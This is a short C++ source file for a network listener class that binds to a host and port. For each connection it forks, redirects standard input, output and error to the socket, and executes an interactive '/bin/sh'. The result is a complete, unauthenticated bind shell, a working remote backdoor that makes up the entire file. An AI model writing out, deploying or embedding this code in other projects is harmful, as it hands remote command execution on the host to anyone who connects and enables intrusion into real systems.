#include "common.hpp"

XListener::~XListener()
{
}

void
XListener::onEvent(PWIOPoll* io, int fd, int e)
{
	do
	{
		const pid_t pid(fork());
		if ( pid == 0 )
		{
			// Child Process!
			//--------------------------------------------------------------
			int sockfd(-1);
			PWSocketAddress addr;
			if ( !accept(sockfd, &addr) ) break;
			char host[1024+1] = "";
			char port[64+1] = "";
			addr.getIP(NULL, host, port);
			cerr << "New client: " << host << ':' << port << endl;

			this->destroy();
			io->destroy();

			::close(0);
			::close(1);
			::close(2);

			dup2(sockfd, 0);
			dup2(sockfd, 1);
			dup2(sockfd, 2);

			char* cmd[] = { "/bin/sh", "-i", NULL };
			execv(cmd[0], cmd);

			exit(EXIT_FAILURE);

			//--------------------------------------------------------------
		}
		else if ( pid > 0 )
		{
			// parent process...
			// but do nothing...
		}
		else
		{
			// error
			break;
		}

		return;
	} while (false);

	return;
}

bool
XListener::openServer(PWIOPoll* io, const char* host, const char* service)
{
	PWSocketAddress addr;
	if ( !addr.setIP(PWSOCK_FAM_IP, host, service) )
	{
		return false;
	}

	if ( !initialize(PWSOCK_FAM_IP, PWSOCK_STREAM, 0) )
	{
		return false;
	}

	if ( !bind(addr) )
	{
		cerr << "failed to bind" << endl;
		return false;
	}

	if ( !listen(1024) )
	{
		cerr << "failed to listen" << endl;
		return false;
	}

	if ( !io->add(this, PWIO_R) )
	{
		return false;
	}

	cerr << "server is running..." << endl;
	return true;
}

